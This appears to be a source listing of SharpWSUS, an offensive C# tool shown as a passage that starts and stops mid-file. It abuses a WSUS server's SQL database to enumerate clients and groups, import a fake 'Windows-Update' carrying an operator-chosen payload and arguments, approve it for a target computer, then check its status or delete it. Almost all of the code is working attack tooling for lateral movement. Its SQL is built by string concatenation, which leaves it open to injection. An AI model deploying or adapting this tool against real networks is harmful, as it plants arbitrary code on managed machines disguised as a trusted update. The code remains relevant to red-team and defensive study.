47 | {
48 | UpdateRating = arguments["/rating"];
49 | }
50 |
51 | if (arguments.ContainsKey("/msrc"))
52 | {
53 | UpdateMSRC = arguments["/msrc"];
54 | }
55 |
56 | if (arguments.ContainsKey("/kb"))
57 | {
58 | UpdateKB = arguments["/kb"];
59 | }
60 |
61 | if (arguments.ContainsKey("/description"))
62 | {
63 | UpdateDescription = arguments["/description"];
64 | }
65 |
66 | if (arguments.ContainsKey("/url"))
67 | {
68 | UpdateURL = arguments["/url"];
69 | }
70 |
71 | Server.GetServerDetails();
72 | SqlCommand sqlComm = new SqlCommand();
73 | sqlComm.Connection = Connect.FsqlConnection();
74 |
75 | ClGuid.GenerateUpdateGUID();
76 | ClGuid.GenerateBundleGUID();
77 |
78 | ClFile clFileData = new ClFile(PayloadPath, PayloadArgs, Server.sLocalContentCacheLocation, true);
79 |
80 | Console.WriteLine("[*] Creating patch to use the following:");
81 | Console.WriteLine("[*] Payload: {0}",ClFile.sFileName);
82 | Console.WriteLine("[*] Payload Path: {0}", ClFile.sFilePath);
83 | Console.WriteLine("[*] Arguments: {0}", PayloadArgs);
84 | Console.WriteLine("[*] Arguments (HTML Encoded): {0}", ClFile.sArgs);
85 |
86 | if (!Enum.FbGetWSUSConfigSQL(sqlComm))
87 | {
88 | return;
89 | }
90 | if (!Build.FbImportUpdate(sqlComm))
91 | {
92 | return;
93 | }
94 | if (!Build.FbPrepareXMLtoClient(sqlComm))
95 | {
96 | return;
97 | }
98 | if (!Build.FbInjectUrl2Download(sqlComm))
99 | {
100 | return;
101 | }
102 | if (!Build.FbDeploymentRevision(sqlComm))
103 | {
104 | return;
105 | }
106 | if (!Build.FbPrepareBundle(sqlComm))
107 | {
108 | return;
109 | }
110 | if (!Build.FbPrepareXmlBundleToClient(sqlComm))
111 | {
112 | return;
113 | }
114 | if (!Build.FbDeploymentRevision(sqlComm))
115 | {
116 | return;
117 | }
118 |
119 | Console.WriteLine("\r\n[*] Update created - When ready to deploy use the following command:");
120 | Console.WriteLine("[*] SharpWSUS.exe approve /updateid:" + ClGuid.gBundle + " /computername:Target.FQDN /groupname:\"Group Name\"");
121 | Console.WriteLine("\r\n[*] To check on the update status use the following command:");
122 | Console.WriteLine("[*] SharpWSUS.exe check /updateid:" + ClGuid.gBundle + " /computername:Target.FQDN");
123 | Console.WriteLine("\r\n[*] To delete the update use the following command:");
124 | Console.WriteLine("[*] SharpWSUS.exe delete /updateid:" + ClGuid.gBundle + " /computername:Target.FQDN /groupname:\"Group Name\"");
125 | Console.WriteLine("\r\n[*] Create complete\r\n");
126 | }
127 | }
128 | }
--------------------------------------------------------------------------------
/SharpWSUS/lib/Status.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Data.SqlClient;
3 |
4 | public class Status
5 | {
6 | public static bool FbApproveUpdate(SqlCommand sqlCommFun, string UpdateID, string Approver)
7 | {
8 | SqlDataReader sqldrReader;
9 | sqlCommFun.CommandText = @"exec spDeployUpdate @updateID='" + UpdateID + "',@revisionNumber=204,@actionID=0,@targetGroupID='" + ClGuid.gTargetGroup + "',@adminName=N'" + Approver + "',@isAssigned=1,@downloadPriority=1,@failIfReplica=0,@isReplica=0";
10 | try
11 | {
12 | sqldrReader = sqlCommFun.ExecuteReader();
13 | sqldrReader.Close();
14 | Console.WriteLine("Approved Update");
15 | }
16 | catch (Exception e)
17 | {
18 | Console.WriteLine("\r\nFunction error - FbApproveUpdate.");
19 |
20 | Console.WriteLine($"Error Message: {e.Message}");
21 | return false;
22 | }
23 | sqldrReader.Close();
24 | return true;
25 | }
26 |
27 | public static bool FbDeleteUpdate(SqlCommand sqlCommFun, string sBundleID)
28 | {
29 | SqlDataReader sqldrReader;
30 | sqlCommFun.CommandText = @"exec spDeclineUpdate @updateID='" + sBundleID + "'";
31 | try
32 | {
33 | sqldrReader = sqlCommFun.ExecuteReader();
34 | sqldrReader.Close();
35 | Console.WriteLine("\r\n[*] Update declined.\r\n");
36 | }
37 | catch (Exception e)
38 | {
39 | Console.WriteLine("\r\nFunction error - FbDeleteUpdate.");
40 |
41 | Console.WriteLine($"Error Message: {e.Message}");
42 | return false;
43 | }
44 | sqlCommFun.CommandText = @"exec spDeleteUpdateByUpdateID @updateID='" + sBundleID + "'";
45 | try
46 | {
47 | sqldrReader = sqlCommFun.ExecuteReader();
48 | sqldrReader.Close();
49 | Console.WriteLine("\r\n[*] Update deleted.\r\n");
50 | }
51 | catch (Exception e)
52 | {
53 | Console.WriteLine("\r\nFunction error - FbDeleteUpdate.");
54 | Console.WriteLine($"Error Message: {e.Message}");
55 | Console.WriteLine("If you are in a lab and this timed out, this could occur if there are too many old patches in the database causing performance issues.");
56 | return false;
57 | }
58 | sqldrReader.Close();
59 | return true;
60 | }
61 |
62 | public static bool FbGetUpdateStatus(SqlCommand sqlCommFun, string UpdateID)
63 | {
64 | int LocalUpdateID = 0;
65 | SqlDataReader sqldrReader;
66 | sqlCommFun.CommandText = @"SELECT LocalUpdateID FROM dbo.tbUpdate WHERE UpdateID = '" + UpdateID + "'";
67 | try
68 | {
69 | sqldrReader = sqlCommFun.ExecuteReader();
70 | }
71 | catch (Exception e)
72 | {
73 | Console.WriteLine("\r\nFunction error - FbGetUpdateStatus.");
74 |
75 | Console.WriteLine($"Error Message: {e.Message}");
76 | return false;
77 | }
78 |
79 | if (sqldrReader.Read())
80 | {
81 | LocalUpdateID = (int)sqldrReader.GetValue(sqldrReader.GetOrdinal("LocalUpdateID"));
82 | sqldrReader.Close();
83 | }
84 | else
85 | {
86 | Console.WriteLine("\r\nUpdate ID " + UpdateID + " cannot be found.");
87 | return false;
88 | }
89 |
90 | sqlCommFun.CommandText = @"SELECT SummarizationState FROM dbo.tbUpdateStatusPerComputer WHERE LocalUpdateID='" + LocalUpdateID + "' AND TargetID='" + Server.sTargetComputerTargetID + "'";
91 | try
92 | {
93 | sqldrReader = sqlCommFun.ExecuteReader();
94 | }
95 | catch (Exception e)
96 | {
97 | Console.WriteLine("\r\nFunction error - FbGetUpdateStatus2.");
98 |
99 | Console.WriteLine($"Error Message: {e.Message}");
100 | return false;
101 | }
102 |
103 | if (sqldrReader.Read())
104 | {
105 | int SummarizationState = (int)sqldrReader.GetValue(sqldrReader.GetOrdinal("SummarizationState"));
106 | if (SummarizationState == 1)
107 | {
108 | Console.WriteLine("\r\n[*] Update is not needed");
109 | return true;
110 | }
111 | if (SummarizationState == 2)
112 | {
113 | Console.WriteLine("\r\n[*] Update is not installed");
114 | return true;
115 | }
116 | if (SummarizationState == 3)
117 | {
118 | Console.WriteLine("\r\n[*] Update is downloaded");
119 | return true;
120 | }
121 | if (SummarizationState == 4)
122 | {
123 | Console.WriteLine("\r\n[*] Update is installed");
124 | return true;
125 | }
126 | if (SummarizationState == 5)
127 | {
128 | Console.WriteLine("\r\n[*] Update failed");
129 | return true;
130 | }
131 | if (SummarizationState == 6)
132 | {
133 | Console.WriteLine("\r\n[*] Reboot Required");
134 | return true;
135 | }
136 | else
137 | {
138 | Console.WriteLine("\r\n[*] Update Info was found but state is unknown");
139 | return true;
140 | }
141 | }
142 | else
143 | {
144 | Console.WriteLine("\r\nUpdate Info cannot be found.");
145 | }
146 |
147 | sqldrReader.Close();
148 | return true;
149 | }
150 | }
151 |
--------------------------------------------------------------------------------
/SharpWSUS/lib/Enum.cs:
--------------------------------------------------------------------------------
1 | using Microsoft.Win32;
2 | using System;
3 | using System.Data.SqlClient;
4 |
5 | public class Enum
6 | {
7 | public static bool FbGetWSUSConfigSQL(SqlCommand sqlCommFun)
8 | {
9 | SqlDataReader sqldrReader;
10 | sqlCommFun.CommandText = "exec spConfiguration";
11 | try
12 | {
13 | //Gather Information via SQL
14 | sqldrReader = sqlCommFun.ExecuteReader();
15 | if (sqldrReader.Read())
16 | {
17 | Server.sLocalContentCacheLocation = (string)sqldrReader.GetValue(sqldrReader.GetOrdinal("LocalContentCacheLocation"));
18 | Server.iPortNumber = (int)sqldrReader.GetValue(sqldrReader.GetOrdinal("ServerPortNumber"));
19 | Console.WriteLine("\r\n################# WSUS Server Enumeration via SQL ##################");
20 | Console.WriteLine("ServerName, WSUSPortNumber, WSUSContentLocation");
21 | Console.WriteLine("-----------------------------------------------");
22 | Console.WriteLine("{0}, {1}, {2}\r\n", Environment.MachineName, Server.iPortNumber, Server.sLocalContentCacheLocation);
23 | sqldrReader.Close();
24 | return true;
25 | }
26 | return false;
27 | }
28 | catch (Exception e)
29 | {
30 | Console.WriteLine("\r\nFunction error - FbGetWSUSConfigSQL.");
31 |
32 | Console.WriteLine($"Error Message: {e.Message}");
33 | return false;
34 | }
35 | }
36 | public static bool FbEnumAllComputers(SqlCommand sqlCommFun)
37 | {
38 | SqlDataReader sqldrReader;
39 | sqlCommFun.CommandText = "exec spGetAllComputers";
40 | try
41 | {
42 | Console.WriteLine("\r\n####################### Computer Enumeration #######################");
43 | Console.WriteLine("ComputerName, IPAddress, OSVersion, LastCheckInTime");
44 | Console.WriteLine("---------------------------------------------------");
45 | sqldrReader = sqlCommFun.ExecuteReader();
46 | int count = sqldrReader.FieldCount;
47 | while (sqldrReader.Read())
48 | {
49 | Console.WriteLine("{0}, {1}, {2}, {3}", sqldrReader.GetValue(sqldrReader.GetOrdinal("FullDomainName")), sqldrReader.GetValue(sqldrReader.GetOrdinal("IPAddress")), sqldrReader.GetValue(sqldrReader.GetOrdinal("ClientVersion")), sqldrReader.GetValue(sqldrReader.GetOrdinal("LastReportedStatusTime")));
50 | }
51 | sqldrReader.Close();
52 | return true;
53 | }
54 | catch (Exception e)
55 | {
56 | Console.WriteLine("\r\nFunction error - FbEnumAllComputers.");
57 |
58 | Console.WriteLine($"Error Message: {e.Message}");
59 | return false;
60 | }
61 | }
62 | public static bool FbEnumDownStream(SqlCommand sqlCommFun)
63 | {
64 | SqlDataReader sqldrReader;
65 | sqlCommFun.CommandText = "exec spGetAllDownstreamServers";
66 | try
67 | {
68 | Console.WriteLine("\r\n####################### Downstream Server Enumeration #######################");
69 | Console.WriteLine("ComputerName, OSVersion, LastCheckInTime");
70 | Console.WriteLine("---------------------------------------------------");
71 | sqldrReader = sqlCommFun.ExecuteReader();
72 | int count = sqldrReader.FieldCount;
73 | while (sqldrReader.Read())
74 | {
75 | Console.WriteLine("{0}, {1}, {2}", sqldrReader.GetValue(sqldrReader.GetOrdinal("AccountName")), sqldrReader.GetValue(sqldrReader.GetOrdinal("Version")), sqldrReader.GetValue(sqldrReader.GetOrdinal("RollupLastSyncTime")));
76 | }
77 | sqldrReader.Close();
78 | return true;
79 | }
80 | catch (Exception e)
81 | {
82 | Console.WriteLine("\r\nFunction error - FbEnumDownStream.");
83 |
84 | Console.WriteLine($"Error Message: {e.Message}");
85 | return false;
86 | }
87 | }
88 |
89 | public static bool FbEnumGroups(SqlCommand sqlCommFun)
90 | {
91 | SqlDataReader sqldrReader;
92 | sqlCommFun.CommandText = "exec spGetAllTargetGroups";
93 | try
94 | {
95 | Console.WriteLine("\r\n####################### Group Enumeration #######################");
96 | Console.WriteLine("GroupName");
97 | Console.WriteLine("---------------------------------------------------");
98 | sqldrReader = sqlCommFun.ExecuteReader();
99 | int count = sqldrReader.FieldCount;
100 | while (sqldrReader.Read())
101 | {
102 | Console.WriteLine("{0}", sqldrReader.GetValue(sqldrReader.GetOrdinal("Name")));
103 | }
104 | sqldrReader.Close();
105 | return true;
106 | }
107 | catch (Exception e)
108 | {
109 | Console.WriteLine("\r\nFunction error - FbEnumGroups.");
110 |
111 | Console.WriteLine($"Error Message: {e.Message}");
112 | return false;
113 | }
114 | }
115 |
116 | public static bool FbGetWSUSServer()
117 | {
118 | try
119 | {
120 | const string keyName = @"HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate";
121 | string WSUSServer = (string)Registry.GetValue(keyName, "WUServer", "WSUS Registry Key Not Found!");
122 |
123 | Console.WriteLine("WSUS Server: {0}", WSUSServer);
124 |
125 | return true;
126 | }
127 | catch (Exception e)
128 | {
129 | Console.WriteLine("\r\nFunction error - FbGetWSUSServer.");
130 |
131 | Console.WriteLine($"Error Message: {e.Message}");
132 | return false;
133 | }
134 | }
135 | }
136 |
--------------------------------------------------------------------------------
/SharpWSUS/lib/Server.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Net;
3 |
4 | public class Server
5 | {
6 | public static bool bWSUSInstalled = true;
7 | public static string sOS;
8 | public static string sDatabaseInstance;
9 | public static string sDatabaseName;
10 | public static string sLocalContentCacheLocation;
11 | public static string sComputerName;
12 | public static int iPortNumber;
13 | public static bool bSSL;
14 | public static string sTargetComputerID;
15 | public static int sTargetComputerTargetID;
16 |
17 | public static void GetServerDetails()
18 | {
19 | FvCheckSSL();
20 | FvFullComputerName();
21 | FvOSDetails();
22 | FvDatabaseBaseName();
23 | FvContentDirectory();
24 | }
25 | public static void FvContentDirectory()
26 | {
27 | string sContentDirectoryTemp = string.Empty;
28 | sContentDirectoryTemp = Reg.RegistryWOW6432.GetRegKey64(Reg.RegHive.HKEY_LOCAL_MACHINE, @"SOFTWARE\Microsoft\Update Services\Server\setup", "ContentDir");
29 | if (sContentDirectoryTemp == "ERROR_FILE_NOT_FOUND")
30 | {
31 | sContentDirectoryTemp = Reg.RegistryWOW6432.GetRegKey32(Reg.RegHive.HKEY_LOCAL_MACHINE, @"SOFTWARE\Microsoft\Update Services\Server\setup", "ContentDir");
32 | if (sContentDirectoryTemp == "ERROR_FILE_NOT_FOUND")
33 | {
34 | bWSUSInstalled = false;
35 | Console.WriteLine("Something went wrong, unable to detect SQL details from registry.");
36 | return;
37 | }
38 | }
39 | sContentDirectoryTemp = HEX2ASCII(sContentDirectoryTemp);
40 | sContentDirectoryTemp = ReverseString(sContentDirectoryTemp);
41 | sLocalContentCacheLocation = Environment.ExpandEnvironmentVariables(sContentDirectoryTemp);
42 | return;
43 | }
44 | public static void FvFullComputerName()
45 | {
46 | sComputerName = Dns.GetHostEntry("LocalHost").HostName;
47 | }
48 | public static void FvDatabaseBaseName()
49 | {
50 | string sDBServerTemp = string.Empty;
51 | sDBServerTemp = Reg.RegistryWOW6432.GetRegKey64(Reg.RegHive.HKEY_LOCAL_MACHINE, @"SOFTWARE\Microsoft\Update Services\Server\setup", "SqlServerName");
52 | if (sDBServerTemp == "ERROR_FILE_NOT_FOUND")
53 | {
54 | sDBServerTemp = Reg.RegistryWOW6432.GetRegKey32(Reg.RegHive.HKEY_LOCAL_MACHINE, @"SOFTWARE\Microsoft\Update Services\Server\setup", "SqlServerName");
55 | if (sDBServerTemp == "ERROR_FILE_NOT_FOUND")
56 | {
57 | bWSUSInstalled = false;
58 | Console.WriteLine("Something went wrong, unable to detect SQL details from registry.");
59 | return;
60 | }
61 | }
62 | sDBServerTemp = HEX2ASCII(sDBServerTemp);
63 | sDatabaseInstance = ReverseString(sDBServerTemp);
64 |
65 | string sDBNameTemp = string.Empty;
66 | sDBNameTemp = Reg.RegistryWOW6432.GetRegKey64(Reg.RegHive.HKEY_LOCAL_MACHINE, @"SOFTWARE\Microsoft\Update Services\Server\setup", "SqlDatabaseName");
67 | if (sDBNameTemp == "ERROR_FILE_NOT_FOUND")
68 | {
69 | sDBNameTemp = Reg.RegistryWOW6432.GetRegKey32(Reg.RegHive.HKEY_LOCAL_MACHINE, @"SOFTWARE\Microsoft\Update Services\Server\setup", "SqlDatabaseName");
70 | if (sDBNameTemp == "ERROR_FILE_NOT_FOUND")
71 | {
72 | bWSUSInstalled = false;
73 | Console.WriteLine("Something went wrong, unable to detect SQL details from registry.");
74 | return;
75 | }
76 | }
77 | sDBNameTemp = HEX2ASCII(sDBNameTemp);
78 | sDatabaseName = ReverseString(sDBNameTemp);
79 | return;
80 | }
81 | public static void FvOSDetails()
82 | {
83 | string sOSTemp = string.Empty;
84 | sOSTemp = Reg.RegistryWOW6432.GetRegKey64(Reg.RegHive.HKEY_LOCAL_MACHINE, @"SOFTWARE\Microsoft\Windows NT\CurrentVersion", "ProductName");
85 | if (sOSTemp == "ERROR_FILE_NOT_FOUND")
86 | {
87 | sOSTemp = Reg.RegistryWOW6432.GetRegKey32(Reg.RegHive.HKEY_LOCAL_MACHINE, @"SOFTWARE\Microsoft\Windows NT\CurrentVersion", "ProductName");
88 | if (sOSTemp == "ERROR_FILE_NOT_FOUND")
89 | {
90 | bWSUSInstalled = false;
91 | Console.WriteLine("Something went wrong, unable to detect OS version.");
92 | return;
93 | }
94 | }
95 | sOSTemp = HEX2ASCII(sOSTemp);
96 | sOS = ReverseString(sOSTemp);
97 | }
98 | public static void FvCheckSSL()
99 | {
100 | string sSSLTemp = string.Empty;
101 | sSSLTemp = Reg.RegistryWOW6432.GetRegKey64(Reg.RegHive.HKEY_LOCAL_MACHINE, @"SOFTWARE\Microsoft\Update Services\Server\setup", "UsingSSL");
102 | if (sSSLTemp == "ERROR_FILE_NOT_FOUND")
103 | {
104 | sSSLTemp = Reg.RegistryWOW6432.GetRegKey32(Reg.RegHive.HKEY_LOCAL_MACHINE, @"SOFTWARE\Microsoft\Update Services\Server\setup", "UsingSSL");
105 | if (sSSLTemp == "ERROR_FILE_NOT_FOUND")
106 | {
107 | bWSUSInstalled = false;
108 | return;
109 | }
110 | }
111 | if (sSSLTemp == "01")
112 | {
113 | bSSL = true;
114 | }
115 | else
116 | {
117 | bSSL = false;
118 | }
119 | }
120 | //https://stackoverflow.com/questions/17637950/convert-string-of-hex-to-string-of-little-endian-in-c-sharp
121 | public static string HEX2ASCII(string hex)
122 | {
123 | string res = String.Empty;
124 | for (int a = 0; a < hex.Length; a = a + 2)
125 | {
126 | string Char2Convert = hex.Substring(a, 2);
127 | int n = Convert.ToInt32(Char2Convert, 16);
128 | char c = (char)n;
129 | res += c.ToString();
130 | }
131 | return res;
132 | }
133 | //https://www.dotnetperls.com/reverse-string
134 | public static string ReverseString(string s)
135 | {
136 | char[] arr = s.ToCharArray();
137 | Array.Reverse(arr);
138 | return new string(arr);
139 | }
140 | }
141 |
--------------------------------------------------------------------------------
/SharpWSUS/lib/Group.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Data.SqlClient;
3 |
4 | public class Group
5 | {
6 | public static bool GroupExists = false;
7 | public static bool FbGetComputerTarget(SqlCommand sqlCommFun, string sTargetComputer)
8 | {
9 | SqlDataReader sqldrReader;
10 | sqlCommFun.CommandText = "exec spGetComputerTargetByName @fullDomainName = N'" + sTargetComputer + "'";
11 | try
12 | {
13 | Console.WriteLine("\r\nTargeting {0}", sTargetComputer);
14 | Console.WriteLine("TargetComputer, ComputerID, TargetID");
15 | Console.WriteLine("------------------------------------");
16 | sqldrReader = sqlCommFun.ExecuteReader();
17 | if (sqldrReader.Read())
18 | {
19 | Server.sTargetComputerID = (string)sqldrReader.GetValue(sqldrReader.GetOrdinal("ComputerID"));
20 | if (Server.sTargetComputerID.Length != 0)
21 | {
22 | sqldrReader.Close();
23 | sqlCommFun.CommandText = "SELECT dbo.fnGetComputerTargetID('" + Server.sTargetComputerID + "')";
24 | sqldrReader = sqlCommFun.ExecuteReader();
25 | if (sqldrReader.Read())
26 | {
27 | Server.sTargetComputerTargetID = (int)sqldrReader.GetValue(0);
28 | Console.WriteLine("{0}, {1}, {2}", sTargetComputer, Server.sTargetComputerID, Server.sTargetComputerTargetID);
29 | sqldrReader.Close();
30 | return true;
31 | }
32 | else
33 | {
34 | Console.WriteLine("Internal WSUS database error - Target computer {0} has ComputerID {1} but does not have TargetID", sTargetComputer.Length, Server.sTargetComputerID);
35 | sqldrReader.Close();
36 | return false;
37 | }
38 | }
39 | else
40 | {
41 | Console.WriteLine("Target computer cannot be found: {0}", sTargetComputer);
42 | sqldrReader.Close();
43 | return false;
44 | }
45 | }
46 | else
47 | {
48 | Console.WriteLine("Target computer cannot be found: {0}", sTargetComputer);
49 | return false;
50 | }
51 |
52 | }
53 | catch (Exception e)
54 | {
55 | Console.WriteLine("\r\nFunction error - FbGetComputerTarget.");
56 |
57 | Console.WriteLine($"Error Message: {e.Message}");
58 | return false;
59 | }
60 | }
61 |
62 | public static bool FbGetGroupID(SqlCommand sqlCommFun, string GroupName)
63 | {
64 | SqlDataReader sqldrReader;
65 | sqlCommFun.CommandText = @"exec spGetAllTargetGroups";
66 | try
67 | {
68 | sqldrReader = sqlCommFun.ExecuteReader();
69 | int count = sqldrReader.FieldCount;
70 | while (sqldrReader.Read())
71 | {
72 | string TargetGroupName = (string)sqldrReader.GetValue(sqldrReader.GetOrdinal("Name"));
73 | if (TargetGroupName == GroupName)
74 | {
75 | ClGuid.gTargetGroup = (Guid)sqldrReader.GetValue(sqldrReader.GetOrdinal("TargetGroupID"));
76 | GroupExists = true;
77 | }
78 | }
79 | }
80 | catch
81 | {
82 | Console.WriteLine("\r\nGroup does not exist already.");
83 | return true;
84 | }
85 | sqldrReader.Close();
86 | return true;
87 | }
88 |
89 | public static bool FbCreateGroup(SqlCommand sqlCommFun, string GroupName)
90 | {
91 | SqlDataReader sqldrReader;
92 | sqlCommFun.CommandText = @"exec spCreateTargetGroup @name='" + GroupName + "', @id='" + ClGuid.gTargetGroup + "'";
93 | try
94 | {
95 | sqldrReader = sqlCommFun.ExecuteReader();
96 | sqldrReader.Close();
97 |
98 | Console.WriteLine("Group Created: {0}", GroupName);
99 | }
100 | catch (Exception e)
101 | {
102 | Console.WriteLine("\r\nFunction error - FbCreateGroup.");
103 |
104 | Console.WriteLine($"Error Message: {e.Message}");
105 | return false;
106 | }
107 | sqldrReader.Close();
108 | return true;
109 | }
110 |
111 | public static bool FbRemoveGroup(SqlCommand sqlCommFun)
112 | {
113 | SqlDataReader sqldrReader;
114 | sqlCommFun.CommandText = @"exec spDeleteTargetGroup @targetGroupID='" + ClGuid.gTargetGroup + "'";
115 | try
116 | {
117 | sqldrReader = sqlCommFun.ExecuteReader();
118 | sqldrReader.Close();
119 |
120 | Console.WriteLine("Remove Group");
121 | }
122 | catch (Exception e)
123 | {
124 | Console.WriteLine("\r\nFunction error - FbRemoveGroup.");
125 |
126 | Console.WriteLine($"Error Message: {e.Message}");
127 | return false;
128 | }
129 | sqldrReader.Close();
130 | return true;
131 | }
132 |
133 | public static bool FbAddComputerToGroup(SqlCommand sqlCommFun, int ComputerTargetID)
134 | {
135 | SqlDataReader sqldrReader;
136 | sqlCommFun.CommandText = @"exec spAddTargetToTargetGroup @targetGroupID='" + ClGuid.gTargetGroup + "', @targetID=" + ComputerTargetID;
137 | try
138 | {
139 | sqldrReader = sqlCommFun.ExecuteReader();
140 | sqldrReader.Close();
141 |
142 | Console.WriteLine("Added Computer To Group");
143 |
144 | }
145 | catch (Exception e)
146 | {
147 | Console.WriteLine("\r\nFunction error - FbAddComputerToGroup.");
148 |
149 | Console.WriteLine($"Error Message: {e.Message}");
150 | return false;
151 | }
152 | sqldrReader.Close();
153 | return true;
154 | }
155 |
156 | public static bool FbRemoveComputerFromGroup(SqlCommand sqlCommFun, int ComputerTargetID)
157 | {
158 | SqlDataReader sqldrReader;
159 | sqlCommFun.CommandText = @"exec spRemoveTargetFromTargetGroup @targetGroupID='" + ClGuid.gTargetGroup + "', @targetID=" + ComputerTargetID;
160 | try
161 | {
162 | sqldrReader = sqlCommFun.ExecuteReader();
163 | sqldrReader.Close();
164 |
165 | Console.WriteLine("Removed Computer From Group");
166 |
167 | }
168 | catch (Exception e)
169 | {
170 | Console.WriteLine("\r\nFunction error - FbRemoveComputerFromGroup.");
171 |
172 | Console.WriteLine($"Error Message: {e.Message}");
173 | return false;
174 | }
175 | sqldrReader.Close();
176 | return true;
177 | }
178 | }
179 |
--------------------------------------------------------------------------------
/SharpWSUS/lib/Build.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Text;
3 | using System.Data.SqlClient;
4 | using SharpWSUS.Commands;
5 |
6 | public class Build
7 | {
8 |
9 | public static bool FbImportUpdate(SqlCommand sqlCommFun)
10 | {
11 | System.Data.DataTable dtDataTbl = new System.Data.DataTable();
12 | SqlDataReader sqldrReader;
13 | StringBuilder sbUpdate = new StringBuilder();
14 |
15 | sbUpdate.AppendLine(@"declare @iImported int");
16 | sbUpdate.AppendLine(@"declare @iLocalRevisionID int");
17 | sbUpdate.AppendLine(@"exec spImportUpdate @UpdateXml=N'");
18 | sbUpdate.AppendLine(@"");
19 | sbUpdate.AppendLine("\t" + @"");
20 | sbUpdate.AppendLine("\t" + @"");
21 | sbUpdate.AppendLine("\t\t" + @"");
22 | sbUpdate.AppendLine("\t\t" + @"");
23 | sbUpdate.AppendLine("\t" + @"");
24 | sbUpdate.AppendLine("\t" + @"");
25 | sbUpdate.AppendLine("\t\t" + @"");
26 | sbUpdate.AppendLine("\t\t\t" + @"en");
27 | sbUpdate.AppendLine("\t\t\t" + @"Windows-Update");
28 | sbUpdate.AppendLine("\t\t" + @"");
29 | sbUpdate.AppendLine("\t" + @"");
30 | sbUpdate.AppendLine("\t" + @"");
31 | sbUpdate.AppendLine("\t\t" + @"");
32 | sbUpdate.AppendLine("\t\t" + @"");
33 | sbUpdate.AppendLine("\t" + @"");
34 | sbUpdate.AppendLine("\t" + @"");
35 | sbUpdate.AppendLine("\t\t" + @"");
36 | sbUpdate.AppendLine("\t\t\t" + @"" + ClFile.sSHA256 + @"");
37 | sbUpdate.AppendLine("\t\t" + @"");
38 | sbUpdate.AppendLine("\t" + @"");
39 | sbUpdate.AppendLine("\t" + @"");
40 | sbUpdate.AppendLine("\t\t" + @"");
41 | sbUpdate.AppendLine("\t\t\t" + @"");
42 | sbUpdate.AppendLine("\t\t" + @"");
43 | sbUpdate.AppendLine("\t" + @"");
44 | sbUpdate.AppendLine(@"',");
45 | sbUpdate.AppendLine(@"@UpstreamServerLocalID=1,@Imported=@iImported output,@localRevisionID=@iLocalRevisionID output,@UpdateXmlCompressed=NULL");
46 | sbUpdate.AppendLine(@"select @iImported,@iLocalRevisionID");
47 | sqlCommFun.CommandText = sbUpdate.ToString();
48 |
49 | try
50 | {
51 | sqldrReader = sqlCommFun.ExecuteReader();
52 | dtDataTbl.Load(sqldrReader);
53 | Create.iRevisionID = (int)dtDataTbl.Rows[0][1];
54 |
55 | if (Create.iRevisionID == 0)
56 | {
57 | Console.WriteLine("Error importing update");
58 | sqldrReader.Close();
59 | return false;
60 | }
61 |
62 | Console.WriteLine("ImportUpdate");
63 | Console.WriteLine("Update Revision ID: {0}", Create.iRevisionID);
64 |
65 | sqldrReader.Close();
66 | return true;
67 | }
68 | catch (Exception e)
69 | {
70 | Console.WriteLine("\r\nFunction error - FbImportUpdate.");
71 |
72 | Console.WriteLine($"Error Message: {e.Message}");
73 | return false;
74 | }
75 | }
76 | public static bool FbPrepareXMLtoClient(SqlCommand sqlCommFun)
77 | {
78 | SqlDataReader sqldrReader;
79 | StringBuilder sbXMLClient = new StringBuilder();
80 | sbXMLClient.AppendLine(@"exec spSaveXmlFragment '" + ClGuid.gUpdate + @"',202,1,N'<UpdateIdentity UpdateID=""" + ClGuid.gUpdate + @""" RevisionNumber=""202"" /><Properties UpdateType=""Software"" /><Relationships></Relationships><ApplicabilityRules><IsInstalled><False /></IsInstalled><IsInstallable><True /></IsInstallable></ApplicabilityRules>',NULL");
81 | sbXMLClient.AppendLine(@"exec spSaveXmlFragment '" + ClGuid.gUpdate + @"',202,4,N'<LocalizedProperties><Language>en</Language><Title>Windows-Update</Title></LocalizedProperties>',NULL,'en'");
82 | sbXMLClient.AppendLine(@"exec spSaveXmlFragment '" + ClGuid.gUpdate + @"',202,2,N'<ExtendedProperties DefaultPropertiesLanguage=""en"" Handler=""http://schemas.microsoft.com/msus/2002/12/UpdateHandlers/CommandLineInstallation"" MaxDownloadSize=""" + ClFile.lSize + @""" MinDownloadSize=""" + ClFile.lSize + @"""><InstallationBehavior RebootBehavior=""NeverReboots"" /></ExtendedProperties><Files><File Digest=""" + ClFile.sSHA1 + @""" DigestAlgorithm=""SHA1"" FileName=""" + ClFile.sFileName + @""" Size=""" + ClFile.lSize + @""" Modified=""" + Create.UpdateDate + @"T15:26:20.723""><AdditionalDigest Algorithm=""SHA256"">" + ClFile.sSHA256 + @"</AdditionalDigest></File></Files><HandlerSpecificData type=""cmd:CommandLineInstallation""><InstallCommand Arguments=""" + ClFile.sArgs + @""" Program=""" + ClFile.sFileName + @""" RebootByDefault=""false"" DefaultResult=""Succeeded""><ReturnCode Reboot=""false"" Result=""Succeeded"" Code=""-1"" /></InstallCommand></HandlerSpecificData>',NULL");
83 | sqlCommFun.CommandText = sbXMLClient.ToString();
84 | try
85 | {
86 | Console.WriteLine("PrepareXMLtoClient");
87 | sqldrReader = sqlCommFun.ExecuteReader();
88 | sqldrReader.Close();
89 | return true;
90 | }
91 | catch (Exception e)
92 | {
93 | Console.WriteLine("\r\nFunction error - FbPrepareXMLtoClient.");
94 |
95 | Console.WriteLine($"Error Message: {e.Message}");
96 | return false;
97 | }
98 | }
99 | public static bool FbPrepareXmlBundleToClient(SqlCommand sqlCommFun)
100 | {
101 | SqlDataReader sqldrReader;
102 | StringBuilder sbXMLBundle = new StringBuilder();
103 | sbXMLBundle.AppendLine(@"exec spSaveXmlFragment '" + ClGuid.gBundle + @"',204,1,N'<UpdateIdentity UpdateID=""" + ClGuid.gBundle + @""" RevisionNumber=""204"" /><Properties UpdateType=""Software"" ExplicitlyDeployable=""true"" AutoSelectOnWebSites=""true"" /><Relationships><Prerequisites><AtLeastOne IsCategory=""true""><UpdateIdentity UpdateID=""0fa1201d-4330-4fa8-8ae9-b877473b6441"" /></AtLeastOne></Prerequisites><BundledUpdates><UpdateIdentity UpdateID=""" + ClGuid.gUpdate + @""" RevisionNumber=""202"" /></BundledUpdates></Relationships>',NULL");
